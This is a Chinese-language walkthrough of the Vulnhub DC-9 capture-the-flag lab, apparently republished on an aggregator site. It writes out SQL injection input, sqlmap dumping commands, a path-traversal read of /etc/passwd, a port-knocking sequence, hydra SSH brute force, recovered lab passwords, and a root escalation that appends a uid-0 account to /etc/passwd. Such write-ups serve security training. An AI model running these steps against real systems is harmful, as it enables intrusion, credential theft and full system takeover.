Vulnhub靶场渗透测试系列DC

您所在的位置:网站首页 knock下载不了 Vulnhub靶场渗透测试系列DC

Vulnhub靶场渗透测试系列DC

2024-07-17 04:13| 来源: 网络整理| 查看: 265

Vulnhub靶场渗透测试系列DC-9(knockd敲门服务)

靶机下载地址:https://www.vulnhub.com/entry/dc-9,412/ 将下载好的靶机导入到VMware中,设置网络模式为NAT模式,开启靶机虚拟机 在这里插入图片描述 这次换个存活主机发现的扫描器,使用arp-scan进行主机发现,命令arp-scan -l,其实都是一样的 在这里插入图片描述 获取到靶机IP之后再使用nmap进行扫描,获取操作系统,开放端口和对应服务等信息,命令nmap -T4 -A -p- 192.168.172.148 在这里插入图片描述 靶机操作系统是基于Debian的linux,开放22端口ssh服务,80端口http服务,其他没有太多信息,然后我们先在kali机打开浏览器输入http://192.168.172.148访问网页,其实不加前缀http也行 在这里插入图片描述 点击display…之后能显示一些职员的信息 在这里插入图片描述 再点击search是一个搜索框,地址栏对应的文件为search.php 在这里插入图片描述 再点击manage,是一个登录页面,地址中的文件为manage.php,但是没有账号和密码 在这里插入图片描述

然后我们先在search页面试一下SQL注入,看看是否存在注入漏洞,输入1' or 1=1 #点击【submit】提交,发现可以爆出用户数据 在这里插入图片描述 我们发现存在搜索页面存在SQL注入,现在直接使用sqlmap工具来进行SQL注入攻击,先使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -dbs跑数据库名 在这里插入图片描述 爆出users数据库了,然后使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D users -tables将users数据库中的数据表爆出来 在这里插入图片描述 只有一个数据表UserDetails,然后使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D users -T UserDetails -dump将UserDetails数据表中的数据爆出来 在这里插入图片描述 都是员工账号和密码,先放着不管了,再去把另一个数据库staff的数据表也爆一下,命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D Staff -tables 在这里插入图片描述 有两个数据表,一个StaffDetails一个Users,先使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D Staff -T StaffDetails -dump查看StaffDetail表的数据 在这里插入图片描述 是员工的详细信息,再查看Users表的数据信息,命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D Staff -T Users -dump 在这里插入图片描述 爆出来一个admin账户和密码,但是密码是加密的,想办法解密,应该是md5加密的,试试md5解密 在这里插入图片描述 然后使用admin账户和transorbital1密码登录到后台试试看 在这里插入图片描述 登陆成功 在这里插入图片描述 可以看到多了一个【Add Record】选项,直接点击该选项,并没有什么有用的东西,看到下面有一句话File does not exist 在这里插入图片描述 猜测可能存在文件包含漏洞,所以在manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd,顺利读取到/etc/passwd文件 在这里插入图片描述 但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd服务 (knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf)

当我们知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了,所以我们可以通过文件包含来显示该配置文件的内容 在这里插入图片描述根据配置文件内容,参考链接https://www.cnblogs.com/wsjhk/p/5508051.html,依次对7469,8475,9842端口进行敲门,然后就可以开门,命令

nmap -p 7469 192.168.172.148 nmap -p 8475 192.168.172.148 nmap -p 9842 192.168.172.148

在这里插入图片描述 依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问 在这里插入图片描述 现在将之前通过SQL注入得到的账号和密码编写成字典,SQL注入命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D users -T UserDetails -dump,将username全部写入到userx.txt文件形成user字典 在这里插入图片描述 userx.txt字典内容 在这里插入图片描述 将各个账户的密码也写进passx.txt字典中 在这里插入图片描述 passx.txt字典内容 在这里插入图片描述 然后使用两个字典进行爆破,命令hydra -L userx.txt -P passx.txt 192.168.172.148 ssh 在这里插入图片描述 爆破完成,得到三个用户名和密码

用户 密码 chandlerb UrAG0D! joeyt Passw0rd janitor Ilovepeepee

先使用chandlerb进行登录,命令ssh [email protected],然后查看有些什么,发现什么都没有 在这里插入图片描述 再使用第二个用户和密码进行登录,命令ssh [email protected],查看目录内容,也是什么都没有 在这里插入图片描述 然后使用第三个账户和密码登录,命令ssh [email protected],查看目录内容,发现多了一个目录 在这里插入图片描述 进入该目录下一探究竟,发现一个文件,打开文件查看,好像是几个账户密码 在这里插入图片描述 然后把这些密码加入到之前的那个密码字典里面,后面再进行爆破一次 在这里插入图片描述 现在再使用hydra工具进行爆破,命令hydra -L userx.txt -P passx.txt 192.168.172.148 ssh,发现又爆破出一个用户和密码 在这里插入图片描述 先使用命令sudo -l看一看有没有janitor可以执行的sudo命令,结果没有 在这里插入图片描述 现在我们直接用新爆破出来的这个账户和密码登录试一试 在这里插入图片描述 其实也是什么都没有,但是我们可以试一试sudo -l命令,看看有么有用户可以执行的root权限的命令 在这里插入图片描述 发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件 在这里插入图片描述 打开test.py文件看看内容 在这里插入图片描述 这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

现在我们回到kali,使用openssl工具创建一个本地的加密用户,命令openssl passwd -1 -salt admin admin 在这里插入图片描述 然后回到靶机,跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test1,命令echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test1 然后使用命令sudo ./test /tmp/test1 /etc/passwd使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中 在这里插入图片描述 然后使用命令su admin切换到我们添加的admin用户,输入之前设置好密码即可登录 在这里插入图片描述 只要这一步没问题的话就成功了,只需要跳转到/root目录下即可看到flag了 但是我这一步就出问题了,登录不了,一般正常情况应该这一步成功就可以拿到flag了,我换了一个admin1账户成功了 在这里插入图片描述 跳转到/root目录下,成功看到flag 在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3